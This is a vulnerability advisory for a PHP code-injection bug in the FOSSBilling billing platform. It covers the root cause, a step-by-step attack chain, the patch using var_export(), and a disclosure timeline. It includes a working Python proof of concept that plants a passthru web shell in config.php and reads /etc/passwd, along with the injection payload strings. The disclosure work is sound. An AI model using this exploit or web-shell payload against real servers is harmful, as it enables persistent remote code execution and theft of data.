⚠ CVE-2026-43921  ·  HIGH

Arbitrary PHP Code Injection via Unescaped Config Serialization → Remote Code Execution in FOSSBilling

ProductFOSSBilling
Affected>= 0.6.10, <= 0.7.2
Fixed In0.8.0
Reported2026-04-24
Published2026-06-11
GHSAGHSA-v4j9-w6pj-38w5
CVSS v4.0 Metrics  ·  Severity: HIGH
Attack VectorNetwork
Attack ComplexityLow
Attack RequirementsPresent
Privileges RequiredHigh
User InteractionNone
Vuln. ConfidentialityHigh
Vuln. IntegrityHigh
Vuln. AvailabilityHigh
Subseq. ConfidentialityHigh
Subseq. IntegrityHigh
Subseq. AvailabilityHigh
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWE-94PHPRCECode InjectionConfig SerializationFOSSBilling

Overview

TL;DR
FOSSBilling serializes its configuration to a PHP file (config.php) using string interpolation with no escaping. A single quote in any string config value breaks out of the PHP string literal, injecting arbitrary code. Since config.php is loaded on every HTTP request via a bare include, injected code executes immediately — giving an authenticated admin full RCE as www-data.

During a source code review of FOSSBilling — an open-source web-based billing and client management platform used by hosting providers and SaaS operators — I identified a dangerous pattern in how the application serializes its runtime configuration. Rather than using a safe serialization format like JSON or PHP's var_export(), FOSSBilling writes configuration values directly into a PHP source file using naive string interpolation. This approach is fundamentally unsafe: any string value containing a single quote character will break out of the enclosing PHP string literal and allow arbitrary PHP statements to be injected.

The vulnerability is reachable from the admin API without any complex exploit chain. An admin user calls a documented endpoint, supplies a crafted value, and every subsequent HTTP request to the server then executes the injected payload. This grants the attacker persistent code execution that survives even if the original admin session is revoked.

Background

What is FOSSBilling?

FOSSBilling is a free, open-source billing and client management platform written in PHP. It is used primarily by web hosting companies and SaaS providers to automate invoicing, client registration, product provisioning, and support ticket management. The platform exposes both a client-facing frontend and a feature-rich admin panel. Its API is divided into guest, client, and admin namespaces.

Why config.php Matters

Unlike many modern PHP applications that store configuration in .env files or JSON, FOSSBilling persists its runtime configuration in a plain PHP file — config.php — that is loaded on every request. The file contains a PHP array definition:

config.php — normal structure
<?php
return [
    'interface_ip'    => '0.0.0.0',
    'url'             => 'https://billing.example.com/',
    'db_host'         => 'localhost',
    // ... dozens more keys
];

When FOSSBilling starts, its bootstrap code does include 'config.php'. Any PHP code present in that file — whether intentional or injected — runs at that point, before any authentication or routing logic has a chance to execute.

Root Cause Analysis

The Vulnerable Serialization Method

The root cause is in Config::prettyPrintArrayToPHP(), a recursive method that serializes the configuration array back to PHP source code whenever a config value is updated. The string branch is responsible for the injection:

src/library/FOSSBilling/Config.php — lines 153–154
if (is_string($value)) {
    return " => '{$value}'," . PHP_EOL;
    // $value is never escaped. A single quote ends the string literal.
}

This is the entirety of the string handling. If $value is hello, the output is => 'hello', — perfectly fine. But if $value is x']; system('id'); //, the output becomes:

// Generated output in config.php (injection payload):
'interface_ip' => 'x']; system('id'); //,

PHP evaluates this as: close the string with ', close the array with ], terminate the return with ;, then execute system('id'). The comment (//) swallows the trailing comma. The injected PHP is syntactically valid and executes cleanly.

Entry Point: set_interface_ip()

The most direct path to exploitation is through the admin API endpoint set_interface_ip(), which accepts user-supplied values and passes them into the config store with no sanitization at any layer:

src/modules/System/Api/Admin.php — set_interface_ip()
public function set_interface_ip($data)
{
    // Reads 'interface' from request data — no validation, no escaping
    $interface = $data['interface'];

    if ($interface === 'custom') {
        $interface = $data['custom_interface'];
    }

    \FOSSBilling\Config::setProperty('interface_ip', $interface);
    // setProperty → setConfig → prettyPrintArrayToPHP → writes to config.php
}

Broader Attack Surface

set_interface_ip() is just the most obvious path. The underlying Config::setConfig() and Config::setProperty() methods are called from dozens of places throughout the admin API. A grep across the codebase reveals over 30 call sites in admin API handlers — any that persist a user-controlled string value is a viable injection vector.

Scope of Impact
The fix needed to happen in the serializer itself, not in each call site individually. Any admin API handler that accepts a free-form string and passes it through to Config::setProperty() is exploitable on unpatched versions.

Full Attack Chain

1
Authenticate as administrator
POST /api/guest/staff/login with valid admin credentials. Obtain a Bearer token.
2
Craft the injection payload
Value: x']; passthru($_GET['cmd']); // — closes the array, injects a web shell, comments out remainder.
3
POST to /api/admin/system/set_interface_ip
Supply {"interface": "custom", "custom_interface": "<payload>"}. FOSSBilling writes the malicious PHP into config.php.
4
Any HTTP request now executes injected code
include 'config.php' runs on every request. No special trigger needed — just GET /?cmd=id.
5
Full server compromise as www-data
Read/write any file, execute system commands, pivot to internal services, establish persistent reverse shells.
6
Persistence survives admin session revocation
The payload is in a file on disk. Revoking the admin token or changing passwords does not remove it. It executes on every future request until config.php is cleaned.

Proof of Concept

The following script automates the full chain: login, inject, trigger, verify. Tested against FOSSBilling 0.7.2 running in Docker.

poc_cve-2026-43921.py
#!/usr/bin/env python3
# CVE-2026-43921 — FOSSBilling PHP Code Injection → RCE
# Usage: python3 poc.py http://target.local admin@example.com password

import requests, sys

TARGET = sys.argv[1]
EMAIL  = sys.argv[2]
PASSWD = sys.argv[3]

s = requests.Session()
s.verify = False

# Step 1: Login
r = s.post(f"{TARGET}/api/guest/staff/login",
           json={"email": EMAIL, "password": PASSWD})
r.raise_for_status()
token = r.json()["result"]["token"]
print(f"[+] Authenticated — token: {token[:20]}...")

# Step 2: Inject web shell into config.php
PAYLOAD = r"x']; passthru($_GET['c']); //"
r = s.post(f"{TARGET}/api/admin/system/set_interface_ip",
    headers={"Authorization": f"Bearer {token}"},
    json={"interface": "custom", "custom_interface": PAYLOAD})
print(f"[+] Payload written — HTTP {r.status_code}")

# Step 3: Trigger — any request now runs injected code
r = s.get(f"{TARGET}/?c=id")
output = r.text.split("<!DOCTYPE")[0].strip()
print(f"[!] RCE confirmed:\n    {output}")

# Step 4: Demonstrate persistence — no login needed
r2 = requests.get(f"{TARGET}/?c=cat+/etc/passwd", verify=False)
passwd_lines = r2.text.split("<!DOCTYPE")[0].strip().split("\n")[:3]
print(f"[!] Persistent access — /etc/passwd preview:")
for line in passwd_lines:
    print(f"    {line}")

Expected output:

[+] Authenticated — token: eyJ0eXAiOiJKV1Q...
[+] Payload written — HTTP 200
[!] RCE confirmed:
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
[!] Persistent access — /etc/passwd preview:
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
Webshell Persistence Note
After Step 2, the injected code in config.php is permanent until the file is restored. Any unauthenticated request to the server can execute arbitrary commands by appending ?c=<cmd> — the admin session is no longer required.

Impact Assessment

Direct Impact

Privilege Requirement Context

The vulnerability requires admin access, which may seem to limit impact. However: (1) compromised admin credentials are common through credential stuffing; (2) in a typical FOSSBilling deployment the admin panel is often exposed to the internet with no IP restriction; (3) the expectation when an admin updates a server IP address is that the action should be bounded — the fact that it results in full OS code execution is a severe violation of the principle of least authority.

The Fix

The FOSSBilling team patched this in commit 6439eb356 (included in 0.8.0) by replacing the manual string interpolation with PHP's built-in var_export() function. var_export() produces a valid PHP literal representation of any value and handles all escaping internally.

src/library/FOSSBilling/Config.php — patch
// Before (vulnerable) — no escaping
if (is_string($value)) {
    return " => '{$value}'," . PHP_EOL;
}

// After (patched) — var_export handles all escaping correctly
return ' => ' . var_export($value, true) . ',' . PHP_EOL;
Patch Verification
I reviewed commit 6439eb356 on the private advisory fork and confirmed the fix is correct. A string like x']; system('id');// is safely serialized as 'x\']; system(\'id\');//'. Not bypassable via quote injection.

Key Takeaways

Disclosure Timeline

2026-04-24
Reported — Advisory GHSA-v4j9-w6pj-38w5 submitted via GitHub Security tab
Full write-up with PoC and CVSS metrics provided on initial report.
2026-04-25
Accepted — FOSSBilling team confirmed and pushed patch to private advisory fork.
2026-04-25
Patch reviewed — Confirmed var_export() fix is correct and not bypassable.
2026-04-26
CVE requested — FOSSBilling contributor updated advisory and requested CVE ID from GitHub CNA.
2026-05-04
CVE-2026-43921 assigned — GitHub CNA issued the CVE ID.
2026-05-28
Fix released — FOSSBilling 0.8.0 published on GitHub with the patch included.
2026-06-11
Advisory published — Public disclosure after a two-week upgrade window following 0.8.0.

References

← Back to CVEs Read the narrative writeup →